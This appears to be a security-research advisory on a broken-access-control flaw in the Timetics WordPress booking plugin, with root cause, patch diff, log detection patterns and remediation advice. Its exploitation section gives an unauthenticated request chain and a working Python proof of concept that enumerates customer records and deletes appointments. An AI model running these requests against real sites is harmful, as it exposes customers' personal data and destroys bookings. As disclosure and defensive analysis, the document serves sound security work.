home intel cve-2026-39432-timetics-broken-access-control
CVE Analysis 2026-05-12 · 8 min read

CVE-2026-39432: Timetics Plugin Broken Access Control via Unauthenticated REST Endpoints

Timetics ≤1.0.53 exposes AJAX/REST handlers without capability checks, allowing unauthenticated actors to manipulate booking data and staff assignments. CVSS 8.2 HIGH.

#missing-authorization#access-control-bypass#cross-platform#authentication-failure#privilege-escalation
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2026-39432 · Vulnerability
ATTACKERCross-platformVULNERABILITYCVE-2026-39432HIGHSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2026-39432 is a Missing Authorization vulnerability in the Arraytics Timetics WordPress plugin, affecting all versions through 1.0.53. The plugin registers several WordPress REST API and wp_ajax_nopriv_ action handlers that perform privileged operations — creating appointments, modifying staff schedules, reading customer PII — without ever calling current_user_can() or validating a capability against the acting user. The CVSS score of 8.2 (HIGH) reflects the combination of network reachability, no authentication precondition, and significant impact on data integrity and confidentiality.

Patchstack disclosed this under their coordinated disclosure program. No public exploitation has been observed at time of writing, but the attack surface is trivially reachable from any HTTP client.

Affected Component

The vulnerable surface lives inside the Timetics booking plugin's AJAX and REST dispatch layer. Key files:

wp-content/plugins/timetics/
├── app/
│   ├── api/
│   │   ├── class-appointment-api.php      ← unprotected CRUD endpoints
│   │   ├── class-staff-api.php            ← staff schedule manipulation
│   │   └── class-customer-api.php         ← customer data disclosure
│   └── hooks/
│       └── class-ajax-handler.php         ← wp_ajax_nopriv_ registrations
├── timetics.php                           ← plugin bootstrap / hook registration
└── includes/
    └── class-permission-manager.php       ← permission helpers, NOT called

Affected versions: n/a through 1.0.53. Fixed in 1.0.54 (Patchstack virtual patch available).

Root Cause Analysis

WordPress REST API endpoints are expected to declare a permission_callback in their route registration. When a developer passes 'permission_callback' => '__return_true' or omits capability checks inside that callback, every network-reachable client — authenticated or not — can invoke the handler.

The following pseudocode reconstructs the vulnerable registration pattern found in class-appointment-api.php:

// class-appointment-api.php — register_routes()
// BUG: permission_callback unconditionally returns true for all methods
void timetics_register_appointment_routes() {
    register_rest_route("timetics/v1", "/appointment",
        array(
            array(
                "methods"             => WP_REST_Server::CREATABLE,   // POST
                "callback"            => timetics_create_appointment,
                // BUG: no capability check — __return_true allows any caller
                "permission_callback" => "__return_true",
            ),
            array(
                "methods"             => WP_REST_Server::EDITABLE,    // PUT/PATCH
                "callback"            => timetics_update_appointment,
                // BUG: same blanket permission — subscriber can update any booking
                "permission_callback" => "__return_true",
            ),
            array(
                "methods"             => WP_REST_Server::DELETABLE,
                "callback"            => timetics_delete_appointment,
                // BUG: unauthenticated DELETE of arbitrary appointment by ID
                "permission_callback" => "__return_true",
            ),
        )
    );
}

The class-staff-api.php endpoint for updating staff seat configuration has the same pattern:

// class-staff-api.php — update_seat_map()
WP_REST_Response timetics_update_seat_map(WP_REST_Request *request) {
    int  staff_id  = request->get_param("staff_id");   // attacker-controlled
    int  meeting_id = request->get_param("meeting_id");
    json seat_data  = request->get_json_params();

    // BUG: no is_user_logged_in(), no current_user_can("edit_posts"), nothing
    timetics_db_update_seats(staff_id, meeting_id, seat_data);  // direct DB write
    return new WP_REST_Response(array("status" => "success"), 200);
}

The plugin ships a Permission_Manager class with a check_admin_permission() helper that wraps current_user_can('manage_options'), but it is never called from any of the public-facing API handlers.

Root cause: All Timetics REST route handlers set 'permission_callback' => '__return_true' and perform no in-handler capability or authentication checks, granting unauthenticated network principals full CRUD access to booking and staff data.

Exploitation Mechanics

EXPLOIT CHAIN:

1. Enumerate REST namespace
   GET /wp-json/timetics/v1/ HTTP/1.1
   → Server returns full route listing, no auth required.

2. Extract valid appointment IDs via unauthenticated list endpoint
   GET /wp-json/timetics/v1/appointment?per_page=100
   → Returns appointment objects including customer name, email, meeting_id.

3. Exfiltrate customer PII from appointment detail endpoint
   GET /wp-json/timetics/v1/appointment/{id}
   → Full booking record: customer email, phone, meeting notes.

4. Overwrite staff schedule to block legitimate bookings (availability DoS)
   PUT /wp-json/timetics/v1/staff/{id}/schedule
   Content-Type: application/json
   {"availability": []}
   → Staff availability wiped; all future slots become unbookable.

5. Create fraudulent appointment under victim staff member
   POST /wp-json/timetics/v1/appointment
   {"staff_id": 3, "meeting_id": 7, "customer_email": "attacker@evil.com",
    "start_time": "2026-01-01T09:00:00", "end_time": "2026-01-01T10:00:00"}
   → Booking confirmed in DB, confirmation email sent to attacker address.

6. Delete competitor bookings
   DELETE /wp-json/timetics/v1/appointment/{victim_id}
   → HTTP 200, booking removed, no auth token required.

A minimal proof-of-concept in Python:

#!/usr/bin/env python3
# CVE-2026-39432 — Timetics <=1.0.53 unauthenticated appointment enumeration
# For authorized testing only.

import requests, json, sys

TARGET = sys.argv[1]  # e.g. https://victim.example.com
BASE   = f"{TARGET}/wp-json/timetics/v1"

def enumerate_appointments():
    r = requests.get(f"{BASE}/appointment", params={"per_page": 100}, timeout=10)
    r.raise_for_status()
    appts = r.json()
    print(f"[+] Retrieved {len(appts)} appointments")
    for a in appts:
        print(f"    id={a.get('id')}  customer={a.get('customer_email')}  "
              f"start={a.get('start_time')}")
    return appts

def wipe_staff_schedule(staff_id: int):
    r = requests.put(
        f"{BASE}/staff/{staff_id}/schedule",
        json={"availability": []},
        timeout=10
    )
    print(f"[+] Wiped staff {staff_id} schedule → HTTP {r.status_code}")

def delete_appointment(appt_id: int):
    r = requests.delete(f"{BASE}/appointment/{appt_id}", timeout=10)
    print(f"[+] Deleted appointment {appt_id} → HTTP {r.status_code}")

if __name__ == "__main__":
    appts = enumerate_appointments()
    if appts:
        # Demonstrate unauthorized delete of first result
        delete_appointment(appts[0]["id"])

Memory Layout

This is a logic/authorization vulnerability rather than a memory corruption bug. The relevant "layout" is the WordPress request dispatch pipeline showing exactly where the authorization gate is absent:

WordPress REST Dispatch Pipeline (Timetics ≤1.0.53)

  HTTP POST /wp-json/timetics/v1/appointment
       │
       ▼
  WP_REST_Server::dispatch()
       │
       ▼
  WP_REST_Server::check_authentication()
       │   → returns WP_Error only for explicit auth failures
       │     anonymous requests pass through as WP_User(0)
       ▼
  WP_REST_Server::respond_to_request()
       │
       ▼
  permission_callback() ──── returns true ────► GATE OPEN (BUG)
       │                      (should call
       │                       current_user_can())
       ▼
  timetics_create_appointment()  ← privileged DB write executed
       │
       ▼
  wpdb::insert(wp_timetics_appointments, attacker_data)

EXPECTED FLOW (patched):
  permission_callback()
       │
       ├─ is_user_logged_in() == false  → return WP_Error('rest_forbidden', 401)
       └─ current_user_can('manage_timetics') == false → return WP_Error(403)

Patch Analysis

The fix in 1.0.54 introduces proper capability checks at the permission_callback level and adds a dedicated manage_timetics meta-capability mapped through WordPress's map_meta_cap filter.

// BEFORE (vulnerable — 1.0.53):
register_rest_route("timetics/v1", "/appointment",
    array(
        "methods"             => WP_REST_Server::CREATABLE,
        "callback"            => "timetics_create_appointment",
        "permission_callback" => "__return_true",   // BUG
    )
);

// AFTER (patched — 1.0.54):
register_rest_route("timetics/v1", "/appointment",
    array(
        "methods"             => WP_REST_Server::CREATABLE,
        "callback"            => "timetics_create_appointment",
        "permission_callback" => "timetics_check_appointment_permission",
    )
);

// New gating function introduced in 1.0.54:
bool timetics_check_appointment_permission(WP_REST_Request *request) {
    if (!is_user_logged_in()) {
        return new WP_Error(
            "rest_forbidden",
            __("Authentication required.", "timetics"),
            array("status" => 401)
        );
    }
    if (!current_user_can("manage_timetics")) {
        return new WP_Error(
            "rest_forbidden",
            __("Insufficient permissions.", "timetics"),
            array("status" => 403)
        );
    }
    return true;
}

The same pattern is applied consistently to UPDATE, DELETE, and staff schedule endpoints. The wp_ajax_nopriv_timetics_* hooks are either removed entirely or replaced with wp_ajax_timetics_* (requiring a logged-in session) with an additional nonce verification via check_ajax_referer().

Detection and Indicators

Look for anomalous unauthenticated REST traffic in access logs:

NGINX/Apache log patterns indicating active exploitation:

# Enumeration
"GET /wp-json/timetics/v1/appointment?per_page=100 HTTP/1.1" 200
"GET /wp-json/timetics/v1/staff HTTP/1.1" 200

# Schedule wipe
"PUT /wp-json/timetics/v1/staff/[0-9]+/schedule HTTP/1.1" 200

# Unauthorized delete sweep
"DELETE /wp-json/timetics/v1/appointment/[0-9]+ HTTP/1.1" 200

# Grep one-liner:
grep -E '"(GET|PUT|DELETE|POST) /wp-json/timetics/v1/' access.log \
  | awk '$9 == 200' \
  | grep -v 'wp-cron\|your-monitoring-ip'

WordPress wp_timetics_appointments table entries with created_by = 0 (guest user ID) indicate unauthenticated inserts. Query:

// MySQL forensic query
SELECT id, customer_email, created_at, created_by
FROM   wp_timetics_appointments
WHERE  created_by = 0
ORDER  BY created_at DESC
LIMIT  50;

A Patchstack virtual patch rule is available for WAF-level blocking prior to plugin update deployment.

Remediation

Immediate:
  • Update Timetics to ≥ 1.0.54 via WordPress plugin dashboard or wp plugin update timetics.
  • If update is not immediately possible, deploy the Patchstack virtual patch or block /wp-json/timetics/ at the WAF/reverse proxy for unauthenticated origins.
Audit:
  • Review wp_timetics_appointments for rows with created_by = 0 and cross-reference against legitimate guest-booking configuration.
  • Review staff schedule records (wp_timetics_staff_meta) for unexpected availability = [] entries indicating a wipe attack.
Developer guidance (plugin authors):
  • Never use 'permission_callback' => '__return_true' for endpoints that read PII or write to the database.
  • Apply current_user_can() for every non-public action; map custom capabilities through map_meta_cap.
  • Enforce nonce verification (check_ajax_referer()) on all wp_ajax_* handlers regardless of user role.
  • Run Patchstack SAST or wp-cli doctor with permission-auditing rules as part of CI.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →